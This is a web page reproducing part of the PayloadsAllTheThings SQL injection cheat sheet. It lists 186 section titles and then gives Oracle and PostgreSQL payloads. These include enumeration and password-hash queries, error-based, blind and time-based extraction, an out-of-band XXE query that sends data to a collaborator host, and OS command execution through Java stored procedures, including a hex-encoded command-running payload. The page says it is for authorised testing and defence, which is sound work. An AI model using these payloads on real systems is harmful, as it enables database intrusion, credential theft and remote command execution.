Skip to content

Payload topic

SQL Injection

SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on…

Passages
186
Bounty reports
of this class
186 passages
Contents
  1. SQL Injection
  2. Entry Point Detection
  3. DBMS Identification Keyword Based
  4. DBMS Identification Error Based
  5. Authentication Bypass
  6. Raw MD5 and SHA1
  7. Hashed Passwords
  8. UNION Based Injection
  9. Error Based Injection
  10. Blind Injection
  11. Boolean Based Injection
  12. Blind Error Based Injection
  13. Time Based Injection
  14. Out of Band (OAST)
  15. Stacked Based Injection
  16. Polyglot Injection
  17. Routed Injection
  18. Second Order SQL Injection
  19. PDO Prepared Statements
  20. Generic WAF Bypass
  21. No Space Allowed
  22. Alternative Whitespace Characters
  23. Bypassing with Comments and Parentheses
  24. No Comma Allowed
  25. No Equal Allowed
  26. Case Modification
  27. BigQuery Injection: Google BigQuery SQL Injection
  28. BigQuery Injection: Detection
  29. BigQuery Injection: BigQuery Comment
  30. BigQuery Injection: BigQuery Union Based
  31. BigQuery Injection: BigQuery Error Based
  32. BigQuery Injection: BigQuery Boolean Based
  33. BigQuery Injection: BigQuery Time Based
  34. Cassandra Injection: Cassandra Injection
  35. Cassandra Injection: CQL Injection Limitations
  36. Cassandra Injection: Cassandra Comment
  37. Cassandra Injection: Example #1
  38. Cassandra Injection: Example #2
  39. DB2 Injection: DB2 Injection
  40. DB2 Injection: DB2 Comments
  41. DB2 Injection: DB2 Default Databases
  42. DB2 Injection: DB2 Enumeration
  43. DB2 Injection: DB2 Methodology
  44. DB2 Injection: DB2 Error Based
  45. DB2 Injection: DB2 Blind Based
  46. DB2 Injection: DB2 Time Based
  47. DB2 Injection: DB2 Command Execution
  48. DB2 Injection: Avoiding Quotes
  49. DB2 Injection: DB2 Accounts and Privileges
  50. MSSQL Injection: MSSQL Injection
  51. MSSQL Injection: MSSQL Default Databases
  52. MSSQL Injection: MSSQL Comments
  53. MSSQL Injection: MSSQL Enumeration
  54. MSSQL Injection: MSSQL List Databases
  55. MSSQL Injection: MSSQL List Tables
  56. MSSQL Injection: MSSQL List Columns
  57. MSSQL Injection: MSSQL Union Based
  58. MSSQL Injection: MSSQL Error Based
  59. MSSQL Injection: MSSQL Blind Based
  60. MSSQL Injection: MSSQL Blind With Substring Equivalent
  61. MSSQL Injection: MSSQL Time Based
  62. MSSQL Injection: MSSQL Stacked Query
  63. MSSQL Injection: MSSQL Read File
  64. MSSQL Injection: MSSQL Write File
  65. MSSQL Injection: XPCMDSHELL
  66. MSSQL Injection: Python Script
  67. MSSQL Injection: MSSQL DNS exfiltration
  68. MSSQL Injection: MSSQL UNC Path
  69. MSSQL Injection: MSSQL Trusted Links
  70. MSSQL Injection: MSSQL List Permissions
  71. MSSQL Injection: MSSQL Make User DBA
  72. MSSQL Injection: MSSQL Database Credentials
  73. MSSQL Injection: MSSQL OPSEC
  74. MySQL Injection: MySQL Injection
  75. MySQL Injection: MYSQL Default Databases
  76. MySQL Injection: MYSQL Comments
  77. MySQL Injection: MYSQL Testing Injection
  78. MySQL Injection: Detect Columns Number
  79. MySQL Injection: Iterative NULL Method
  80. MySQL Injection: ORDER BY Method
  81. MySQL Injection: LIMIT INTO Method
  82. MySQL Injection: Extract Database With InformationSchema
  83. MySQL Injection: Extract Columns Name Without InformationSchema
  84. MySQL Injection: Extract Data Without Columns Name
  85. MySQL Injection: MYSQL Error Based
  86. MySQL Injection: MYSQL Error Based - Basic
  87. MySQL Injection: MYSQL Error Based - UpdateXML Function
  88. MySQL Injection: MYSQL Error Based - Extractvalue Function
  89. MySQL Injection: MYSQL Error Based - NAMECONST function (only for constants)
  90. MySQL Injection: MYSQL Blind With Substring Equivalent
  91. MySQL Injection: MYSQL Blind Using a Conditional Statement
  92. MySQL Injection: MYSQL Blind With MAKESET
  93. MySQL Injection: MYSQL Blind With LIKE
  94. MySQL Injection: MySQL Blind with REGEXP
  95. MySQL Injection: MYSQL Time Based
  96. MySQL Injection: Using SLEEP in a Subselect
  97. MySQL Injection: Using Conditional Statements
  98. MySQL Injection: MYSQL DIOS - Dump in One Shot
  99. MySQL Injection: MYSQL Current Queries
  100. MySQL Injection: MYSQL Read Content of a File
  101. MySQL Injection: WEBSHELL - OUTFILE Method
  102. MySQL Injection: WEBSHELL - DUMPFILE Method
  103. MySQL Injection: COMMAND - UDF Library
  104. MySQL Injection: MYSQL INSERT
  105. MySQL Injection: MYSQL Truncation
  106. MySQL Injection: MYSQL Out of Band
  107. MySQL Injection: DNS Exfiltration
  108. MySQL Injection: UNC Path - NTLM Hash Stealing
  109. MySQL Injection: Alternative to Information Schema
  110. MySQL Injection: Alternative to VERSION
  111. MySQL Injection: Alternative to GROUPCONCAT
  112. MySQL Injection: Scientific Notation
  113. MySQL Injection: Conditional Comments
  114. MySQL Injection: Wide Byte Injection (GBK)
  115. OracleSQL Injection: Oracle SQL Injection
  116. OracleSQL Injection: Oracle SQL Default Databases
  117. OracleSQL Injection: Oracle SQL Comments
  118. OracleSQL Injection: Oracle SQL Enumeration
  119. OracleSQL Injection: Oracle SQL Database Credentials
  120. OracleSQL Injection: Oracle SQL List Databases
  121. OracleSQL Injection: Oracle SQL List Tables
  122. OracleSQL Injection: Oracle SQL List Columns
  123. OracleSQL Injection: Oracle SQL Error Based
  124. OracleSQL Injection: Oracle SQL Blind
  125. OracleSQL Injection: Oracle Blind With Substring Equivalent
  126. OracleSQL Injection: Oracle SQL Time Based
  127. OracleSQL Injection: Oracle SQL Out of Band
  128. OracleSQL Injection: Oracle SQL Command Execution
  129. OracleSQL Injection: Oracle Java Execution
  130. OracleSQL Injection: Oracle Java Class
  131. OracleSQL Injection: Package oscommand
  132. OracleSQL Injection: DBMSSCHEDULER Jobs
  133. OracleSQL Injection: OracleSQL File Manipulation
  134. OracleSQL Injection: OracleSQL Read File
  135. OracleSQL Injection: OracleSQL Write File
  136. PostgreSQL Injection: PostgreSQL Injection
  137. PostgreSQL Injection: PostgreSQL Comments
  138. PostgreSQL Injection: PostgreSQL Enumeration
  139. PostgreSQL Injection: PostgreSQL Methodology
  140. PostgreSQL Injection: PostgreSQL Error Based
  141. PostgreSQL Injection: PostgreSQL XML Helpers
  142. PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent
  143. PostgreSQL Injection: Identify Time Based
  144. PostgreSQL Injection: Database Dump Time Based
  145. PostgreSQL Injection: Table Dump Time Based
  146. PostgreSQL Injection: Columns Dump Time Based
  147. PostgreSQL Injection: PostgreSQL Out of Band
  148. PostgreSQL Injection: PostgreSQL Stacked Query
  149. PostgreSQL Injection: PostgreSQL File Read
  150. PostgreSQL Injection: PostgreSQL File Write
  151. PostgreSQL Injection: Using COPY TO/FROM PROGRAM
  152. PostgreSQL Injection: Using libc.so.6
  153. PostgreSQL Injection: Alternative to Quotes
  154. PostgreSQL Injection: PostgreSQL List Privileges
  155. PostgreSQL Injection: PostgreSQL Superuser Role
  156. SQLite Injection: SQLite Injection
  157. SQLite Injection: SQLite Comments
  158. SQLite Injection: SQLite Enumeration
  159. SQLite Injection: SQLite String Methodology
  160. SQLite Injection: SQLite Blind Methodology
  161. SQLite Injection: SQLite Blind With Substring Equivalent
  162. SQLite Injection: SQlite Error Based
  163. SQLite Injection: SQlite Time Based
  164. SQLite Injection: Attach Database
  165. SQLite Injection: Loadextension
  166. SQLite Injection: SQLite Read File
  167. SQLite Injection: SQLite Write File
  168. SQLmap: SQLmap
  169. SQLmap: Basic Arguments For SQLmap
  170. SQLmap: Load A Request File
  171. SQLmap: Custom Injection Point
  172. SQLmap: Second Order Injection
  173. SQLmap: Getting A Shell
  174. SQLmap: Crawl And Auto-Exploit
  175. SQLmap: Proxy Configuration For SQLmap
  176. SQLmap: Injection Tampering
  177. SQLmap: Suffix And Prefix
  178. SQLmap: Default Tamper Scripts
  179. SQLmap: Custom Tamper Scripts
  180. SQLmap: Custom SQL Payload
  181. SQLmap: Evaluate Python Code
  182. SQLmap: Preprocess And Postprocess Scripts
  183. SQLmap: Preprocessing Script (preprocess.py)
  184. SQLmap: Postprocessing Script (postprocess.py)
  185. SQLmap: Reduce Requests Number
  186. SQLmap: SQLmap Without SQL Injection

OracleSQL Injection: Oracle SQL List Tables

SourceOn the Atlas
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='<DBNAME>'

OracleSQL Injection: Oracle SQL List Columns

SourceOn the Atlas
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER='<DBNAME>'

OracleSQL Injection: Oracle SQL Error Based

SourceOn the Atlas

| Description | Query | | :------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Invalid HTTP Request | `SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual` | | CTXSYS.DRITHSX.SN | `SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual` | | Invalid XPath | `SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual` | | Invalid XML | `SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual` | | Invalid XML | `SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users` | | SQL Error | `SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))` | | XDBURITYPE getblob | `XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()` | | XDBURITYPE getclob | `XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()` | | XMLType | `AND 1337=(SELECT UPPER(XMLType(CHR(60)\|\|CHR(58)\|\|'~'\|\|(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))\|\|'~'\|\|CHR(62))) FROM DUAL) -- -` | | DBMS_UTILITY | `AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'\|\|(SELECT banner FROM v$version)\|\|'~') -- -` | When the injection point is inside a string use : `'||PAYLOAD--`

OracleSQL Injection: Oracle SQL Blind

SourceOn the Atlas

| Description | Query | | :--------------------------------------- | :----------------------------------------------------------------------------------------------- | | Version is 12.2 | `SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';` | | Subselect is enabled | `SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)` | | Table log_table exists | `SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);` | | Column message exists in table log_table | `SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';` | | First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` |

OracleSQL Injection: Oracle Blind With Substring Equivalent

SourceOn the Atlas

| Function | Example | | -------- | ------------------------------------- | | `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` |

OracleSQL Injection: Oracle SQL Time Based

SourceOn the Atlas
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)

OracleSQL Injection: Oracle SQL Out of Band

SourceOn the Atlas
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

OracleSQL Injection: Oracle SQL Command Execution

SourceOn the Atlas

* [quentinhardy/odat](https://github.com/quentinhardy/odat) - ODAT (Oracle Database Attacking Tool)

OracleSQL Injection: Oracle Java Execution

SourceOn the Atlas

* List Java privileges ```sql select * from dba_java_policy select * from user_java_policy ``` * Grant privileges ```sql exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute'); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); ``` * Execute commands * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()` ```sql SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual ``` * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()` ```sql SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL ```

OracleSQL Injection: Oracle Java Class

SourceOn the Atlas

* Create Java class ```sql BEGIN EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; END; BEGIN EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END; -- hex encoded payload SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual ``` * Run OS command ```sql SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; ```

OracleSQL Injection: Package oscommand

SourceOn the Atlas
SELECT os_command.exec_clob('<COMMAND>') cmd from dual

OracleSQL Injection: DBMSSCHEDULER Jobs

SourceOn the Atlas
DBMS_SCHEDULER.CREATE_JOB (job_name => 'exec', job_type => 'EXECUTABLE', job_action => '<COMMAND>', enabled => TRUE)

OracleSQL Injection: OracleSQL File Manipulation

SourceOn the Atlas

:warning: Only in a stacked query.

OracleSQL Injection: OracleSQL Read File

SourceOn the Atlas
utl_file.get_line(utl_file.fopen('/path/to/','file','R'), <buffer>)

OracleSQL Injection: OracleSQL Write File

SourceOn the Atlas
utl_file.put_line(utl_file.fopen('/path/to/','file','R'), <buffer>)

PostgreSQL Injection: PostgreSQL Injection

SourceOn the Atlas

> PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.

PostgreSQL Injection: PostgreSQL Comments

SourceOn the Atlas

| Type | Comment | | ------------------- | ------- | | Single-Line Comment | `--` | | Multi-Line Comment | `/**/` |

PostgreSQL Injection: PostgreSQL Enumeration

SourceOn the Atlas

| Description | SQL Query | | ---------------------- | ---------------------------------------------------- | | DBMS version | `SELECT version()` | | Database Name | `SELECT CURRENT_DATABASE()` | | Database Schema | `SELECT CURRENT_SCHEMA()` | | List PostgreSQL Users | `SELECT usename FROM pg_user` | | List Password Hashes | `SELECT usename, passwd FROM pg_shadow` | | List DB Administrators | `SELECT usename FROM pg_user WHERE usesuper IS TRUE` | | Current User | `SELECT user;` | | Current User | `SELECT current_user;` | | Current User | `SELECT session_user;` | | Current User | `SELECT usename FROM pg_user;` | | Current User | `SELECT getpgusername();` |

PostgreSQL Injection: PostgreSQL Methodology

SourceOn the Atlas

| Description | SQL Query | | -------------- | ------------------------------------------------------------------------------------- | | List Schemas | `SELECT DISTINCT(schemaname) FROM pg_tables` | | List Databases | `SELECT datname FROM pg_database` | | List Tables | `SELECT table_name FROM information_schema.tables` | | List Tables | `SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'` | | List Tables | `SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'` | | List Columns | `SELECT column_name FROM information_schema.columns WHERE table_name='data_table'` |

PostgreSQL Injection: PostgreSQL Error Based

SourceOn the Atlas

| Name | Payload | | ---- | ----------------------------------------------------------------------- | | CAST | `AND 1337=CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC) -- -` | | CAST | `AND (CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC)) -- -` | | CAST | `AND CAST((SELECT version()) AS INT)=1337 -- -` | | CAST | `AND (SELECT version())::int=1 -- -` |

CAST(chr(126)||VERSION()||chr(126) AS NUMERIC)
CAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT data_column FROM data_table LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-14.

Updated AboutDevelopersSign in